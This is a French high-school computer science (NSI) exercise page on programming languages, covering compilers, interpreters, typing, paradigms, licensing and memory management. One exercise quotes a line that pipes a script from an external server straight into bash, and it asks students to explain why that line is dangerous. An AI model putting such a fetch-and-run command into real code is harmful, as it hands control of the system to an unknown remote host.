Retour à la page d'accueilNSI · Première (sans spé maths) · Changer de matière
Commencer gratuitement
Cours

Exercices: Langages de programmation

Entraîne-toi★☆☆
Expliquer avec ses propres mots ce qu'est un programme et ce qu'est un algorithme, et donner un exemple d'« algorithme » de la vie quotidienne (une recette, les…

Expliquer avec ses propres mots ce qu'est un programme et ce qu'est un algorithme, et donner un exemple d'« algorithme » de la vie quotidienne (une recette, les indications pour se rendre chez soi…) en identifiant ses étapes.

Résoudre
Entraîne-toi★☆☆
Un langage naturel (comme le français) admet des phrases ambiguës, mais pas un langage de programmation. Expliquer ce que cela signifie et pourquoi il est indispensable…

Un langage naturel (comme le français) admet des phrases ambiguës, mais pas un langage de programmation. Expliquer ce que cela signifie et pourquoi il est indispensable que les instructions d'un programme n'aient qu'une seule interprétation possible.

Résoudre
Entraîne-toi★☆☆
La figure montre la chaîne qui transforme ce qu'écrit un programmeur en quelque chose que l'ordinateur peut exécuter, mais l'élément central est masqué par un point…

La figure montre la chaîne qui transforme ce qu'écrit un programmeur en quelque chose que l'ordinateur peut exécuter, mais l'élément central est masqué par un point d'interrogation, comme le montre la figure.

Code source écrit par la personne ? Programme exécutable exécuté par la machine

Indiquer quel élément manque dans la chaîne, expliquer quels deux types d'outils peuvent occuper cette place (compilateur et interpréteur) et décrire en quoi chacun se distingue.

Résoudre
Entraîne-toi★☆☆
Expliquer ce qu'est la syntaxe d'un langage de programmation et pourquoi une simple parenthèse manquante empêche d'exécuter le programme, alors que dans un texte en…

Expliquer ce qu'est la syntaxe d'un langage de programmation et pourquoi une simple parenthèse manquante empêche d'exécuter le programme, alors que dans un texte en français une faute d'orthographe n'empêche pas de le comprendre.

Résoudre
Entraîne-toi★☆☆
Qu'est-ce qu'un environnement de développement (IDE) ? Nommer deux aides qu'il offre à celui ou celle qui programme (coloration syntaxique, détection des erreurs à la…

Qu'est-ce qu'un environnement de développement (IDE) ? Nommer deux aides qu'il offre à celui ou celle qui programme (coloration syntaxique, détection des erreurs à la saisie, exécution intégrée) et expliquer chacune en une phrase.

Résoudre
Entraîne-toi★☆☆
Comparer la programmation par blocs (comme Scratch) et la programmation textuelle : donner un avantage de chaque approche pour apprendre et une raison pour laquelle les…

Comparer la programmation par blocs (comme Scratch) et la programmation textuelle : donner un avantage de chaque approche pour apprendre et une raison pour laquelle les gros projets finissent par être écrits en texte.

Résoudre
Entraîne-toi★☆☆
Expliquer ce qu'est le code source d'un programme, qui l'écrit et ce qu'il doit lui arriver avant que l'ordinateur puisse l'exécuter (être traduit en langage machine).

Expliquer ce qu'est le code source d'un programme, qui l'écrit et ce qu'il doit lui arriver avant que l'ordinateur puisse l'exécuter (être traduit en langage machine).

Résoudre
Entraîne-toi★☆☆
Nommer trois langages de programmation différents et une application ou un domaine typique de chacun (pages web, analyse de données, jeux vidéo, systèmes, applications…

Nommer trois langages de programmation différents et une application ou un domaine typique de chacun (pages web, analyse de données, jeux vidéo, systèmes, applications mobiles…).

Résoudre
Entraîne-toi★★☆
Expliquer la différence entre un langage compilé et un langage interprété : ce qu'il advient du code source dans chaque cas, quand les erreurs sont détectées et ce dont…

Expliquer la différence entre un langage compilé et un langage interprété : ce qu'il advient du code source dans chaque cas, quand les erreurs sont détectées et ce dont l'utilisateur final a besoin pour exécuter le programme. Donner un exemple de langage de chaque type.

Résoudre
Entraîne-toi★★☆
Les langages se regroupent aussi par paradigmes (impératif, orienté objet, fonctionnel…). Expliquer brièvement en quoi consiste la programmation orientée objet et…

Les langages se regroupent aussi par paradigmes (impératif, orienté objet, fonctionnel…). Expliquer brièvement en quoi consiste la programmation orientée objet et justifier pourquoi elle est utile lorsqu'un programme modélise des éléments du monde réel (élèves, comptes, véhicules…).

Résoudre
Entraîne-toi★★☆
Votre classe doit choisir un langage pour développer une petite application de gestion du club de lecture. Nommer et expliquer trois caractéristiques du langage que vous…

Votre classe doit choisir un langage pour développer une petite application de gestion du club de lecture. Nommer et expliquer trois caractéristiques du langage que vous examineriez avant de décider (facilité d'apprentissage, bibliothèques disponibles, communauté, performance, plateforme cible…) et justifier laquelle vous placeriez en priorité dans ce cas précis.

Résoudre
Entraîne-toi★★☆
Avec un langage compilé, on génère un exécutable ; avec un langage interprété, il faut que l'interpréteur soit installé. Analyser la différence pour l'utilisateur final…

Avec un langage compilé, on génère un exécutable ; avec un langage interprété, il faut que l'interpréteur soit installé. Analyser la différence pour l'utilisateur final de chaque programme (ce qu'il doit installer, sur quels systèmes cela fonctionnera) et la différence pour la personne qui développe (cycle écrire-tester).

Résoudre
Entraîne-toi★★☆
Les bibliothèques sont des collections de code déjà écrit qu'un programme peut utiliser. Expliquer pourquoi « ne pas réinventer la roue » est une bonne pratique, avec un…

Les bibliothèques sont des collections de code déjà écrit qu'un programme peut utiliser. Expliquer pourquoi « ne pas réinventer la roue » est une bonne pratique, avec un exemple (bibliothèque graphique, de connexion à des bases de données), et une précaution à prendre lorsqu'on utilise des bibliothèques tierces.

Résoudre
Entraîne-toi★★☆
Dans certains langages, additionner un nombre et un texte produit une erreur avant l'exécution du programme ; dans d'autres, l'erreur n'apparaît que si cette ligne est…

Dans certains langages, additionner un nombre et un texte produit une erreur avant l'exécution du programme ; dans d'autres, l'erreur n'apparaît que si cette ligne est exécutée. Expliquer ce qu'est le typage d'un langage (statique ou dynamique) et quel avantage il y a à détecter ces erreurs le plus tôt possible.

Résoudre
Entraîne-toi★★☆
Le HTML organise le contenu des pages web, mais il n'est pas considéré comme un langage de programmation à part entière. Expliquer la différence entre un langage de…

Le HTML organise le contenu des pages web, mais il n'est pas considéré comme un langage de programmation à part entière. Expliquer la différence entre un langage de balisage et un langage de programmation (peut-on exprimer des décisions et des répétitions ?) et quel langage accompagne habituellement le HTML pour apporter la logique.

Résoudre
Entraîne-toi★★☆
Choisir et justifier un langage pour chaque projet : (a) analyser les notes de tout le lycée et générer des graphiques, (b) un jeu vidéo 3D avec de fortes exigences de…

Choisir et justifier un langage pour chaque projet : (a) analyser les notes de tout le lycée et générer des graphiques, (b) un jeu vidéo 3D avec de fortes exigences de performance et (c) une page web interactive qui s'exécute dans le navigateur. Indiquer quel critère a pesé le plus dans chaque choix.

Résoudre
Entraîne-toi★★★
On implémente l'algorithme de recherche dichotomique pour trouver une valeur dans une liste triée de 1 000 000 d'entiers dans deux langages différents : en Python, il…

On implémente l'algorithme de recherche dichotomique pour trouver une valeur dans une liste triée de 1 000 000 d'entiers dans deux langages différents : en Python, il met 12,4 ms et en C, il met 0,8 ms. Un camarade affirme : « Comme en C il met moins de temps, la logique de l'algorithme a changé et il effectue maintenant moins de comparaisons qu'en Python ». Réfuter cette affirmation en justifiant : a) Expliquer quels éléments du programme restent exactement identiques dans les deux versions et lesquels changent. b) Justifier à quoi est due la différence de temps si le nombre de comparaisons logiques est identique. c) À partir de ce cas, expliquer pourquoi l'on dit qu'apprendre à programmer consiste à apprendre à penser et non à maîtriser un langage particulier.

Résoudre
Entraîne-toi★★★
Un langage interprété de haut niveau est généralement plus pratique à écrire mais plus lent à l'exécution qu'un langage compilé de bas niveau. Analyser ce compromis et…

Un langage interprété de haut niveau est généralement plus pratique à écrire mais plus lent à l'exécution qu'un langage compilé de bas niveau. Analyser ce compromis et décider quel type de langage vous choisiriez pour : (a) le contrôle d'un airbag, (b) un prototype d'application pour tester une idée, (c) un jeu vidéo aux graphismes exigeants. Justifier chaque décision.

Résoudre
Entraîne-toi★★★
Une jeune entreprise innovante (startup) conçoit une application de gestion de stations météorologiques. L'équipe hésite entre deux options techniques pour son back-end…

Une jeune entreprise innovante (startup) conçoit une application de gestion de stations météorologiques. L'équipe hésite entre deux options techniques pour son back-end : option A, utiliser une plateforme et un langage propriétaires dont la licence coûte 450 € par an et par développeur, avec un support technique fermé ; ou option B, utiliser un langage et des outils open source sous licence libre, avec une communauté active. Analyser la situation : a) Si le fournisseur de l'option A triple le prix de la licence ou est racheté par un concurrent qui abandonne le produit, prévoir quelles options techniques resteraient à l'entreprise et quel impact elle subirait. b) Justifier deux avantages techniques et de sécurité qu'apporte l'option B par rapport à l'option A lors de la détection d'une faille critique dans une bibliothèque. c) Dans quel cas concret pourrait-il être justifié d'accepter la dépendance à la plateforme propriétaire ?

Résoudre
Entraîne-toi★★★
Une entreprise de robotique sous-marine développe un véhicule autonome d'exploration. Le système comporte deux modules : 1) Commande des propulseurs et stabilisation…

Une entreprise de robotique sous-marine développe un véhicule autonome d'exploration. Le système comporte deux modules : 1) Commande des propulseurs et stabilisation gyroscopique, qui doit échantillonner des capteurs et corriger la trajectoire toutes les 2,5 ms avec une latence critique stricte. 2) Interface utilisateur et analyse statistique à la base marine, où les scientifiques traitent des images et testent des filtres visuels de façon interactive. Le responsable technique propose de programmer les deux modules exclusivement en Python pour unifier le projet. a) Évaluer de façon critique cette proposition en prévoyant quels goulots d'étranglement apparaîtront dans le module de stabilisation. b) Expliquer pourquoi programmer la station de base en C ou en C++ ne serait pas non plus une décision efficace en termes de productivité. c) Concevoir une solution en justifiant quel type de langage vous attribueriez à chaque module pour résoudre le conflit entre vitesse d'exécution et facilité de développement.

Résoudre
Entraîne-toi★★★
Un établissement scolaire renouvelle l'équipement de sa salle de technologie et envisage deux options pour programmer les microcontrôleurs de ses projets :…

Un établissement scolaire renouvelle l'équipement de sa salle de technologie et envisage deux options pour programmer les microcontrôleurs de ses projets : l'environnement A, un logiciel commercial propriétaire avec licence gratuite pendant deux ans, mais à code fermé et compatible uniquement avec les capteurs de sa marque ; et l'environnement B, une chaîne d'outils open source (compilateur libre et bibliothèques ouvertes) compatible avec de nombreuses cartes du marché. a) Prévoir quelles conséquences économiques et techniques l'établissement devra affronter la troisième année si le fournisseur de l'environnement A change sa politique tarifaire ou retire le support des modèles les plus anciens. b) Justifier quelles possibilités d'apprentissage et d'adaptation offre l'environnement B pour que les élèves étudient le fonctionnement interne du code ou connectent des capteurs qui ne sont plus commercialisés. c) Du point de vue de la dépense publique et de la souveraineté technologique, défendre laquelle des deux options doit être choisie.

Résoudre
Entraîne-toi★★★
Une équipe de développement conçoit une application de surveillance environnementale et analyse comment la répartir entre trois appareils : l'appareil A (serveur cloud…

Une équipe de développement conçoit une application de surveillance environnementale et analyse comment la répartir entre trois appareils : l'appareil A (serveur cloud avec processeur x86_64 et Linux), l'appareil B (tablette de terrain avec processeur ARM64 et Android) et l'appareil C (bouée marine avec un microcontrôleur 8 bits, 16 Ko de RAM et sans système d'exploitation). L'équipe décide de compiler le code vers un format intermédiaire (bytecode) qui s'exécute sur une machine virtuelle. a) Expliquer pourquoi cette approche permet d'exécuter exactement le même fichier binaire sur A et sur B sans devoir recompiler pour chaque processeur. b) Prévoir quel problème insurmontable surviendra en essayant d'exécuter ce programme sur l'appareil C, en justifiant la réponse en fonction des exigences d'une machine virtuelle. c) Expliquer quel coût en performance et en consommation de mémoire les appareils A et B acceptent en échange d'une portabilité immédiate.

Résoudre
Entraîne-toi★★★
Pour un TP de contrôle domotique, un élève doit envoyer des alertes par courriel en cas de fuite de gaz. Au lieu de le programmer, il copie sur un forum internet cette…

Pour un TP de contrôle domotique, un élève doit envoyer des alertes par courriel en cas de fuite de gaz. Au lieu de le programmer, il copie sur un forum internet cette ligne sans en vérifier le contenu : os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). L'élève affirme : « Le code fonctionne et l'alerte arrive, donc la solution est tout à fait valable et sûre ». a) Réfuter l'affirmation de l'élève en analysant les graves risques de sécurité et d'injection de code que cette ligne introduit dans le système et dans le réseau local. b) Si le serveur externe cesse de fonctionner quelques semaines plus tard, prévoir quelles difficultés rencontrera l'élève pour maintenir le système s'il n'a pas compris la logique d'origine. c) Concevoir un protocole en quatre étapes qu'un programmeur responsable doit suivre avant d'intégrer du code ou des bibliothèques tierces dans un projet technique.

Résoudre
Entraîne-toi★★★
Dans un bras robotique de précision chirurgicale, un premier prototype programmé en C réserve de la mémoire dynamique à chaque cycle de contrôle sans la libérer…

Dans un bras robotique de précision chirurgicale, un premier prototype programmé en C réserve de la mémoire dynamique à chaque cycle de contrôle sans la libérer correctement (fuite de mémoire), ce qui ralentit le système jusqu'à son blocage après plusieurs heures d'utilisation continue. Pour y remédier, un programmeur propose de réécrire tout le logiciel dans un langage à ramasse-miettes automatique et à typage dynamique, affirmant que le système sera ainsi sûr et exempt d'erreurs de mémoire. a) Expliquer ce qui se passe physiquement dans la mémoire RAM lors d'une fuite de mémoire pour que le système finisse par se bloquer. b) Réfuter la proposition du programmeur : prévoir quel risque critique le ramasse-miettes automatique introduit dans les servomoteurs du robot lors d'une opération en temps réel. c) Justifier quelle solution technique de compromis (entre la gestion manuelle sans garanties et le ramassage automatique imprévisible) permettrait de garantir la sécurité et un temps de réponse déterministe.

Résoudre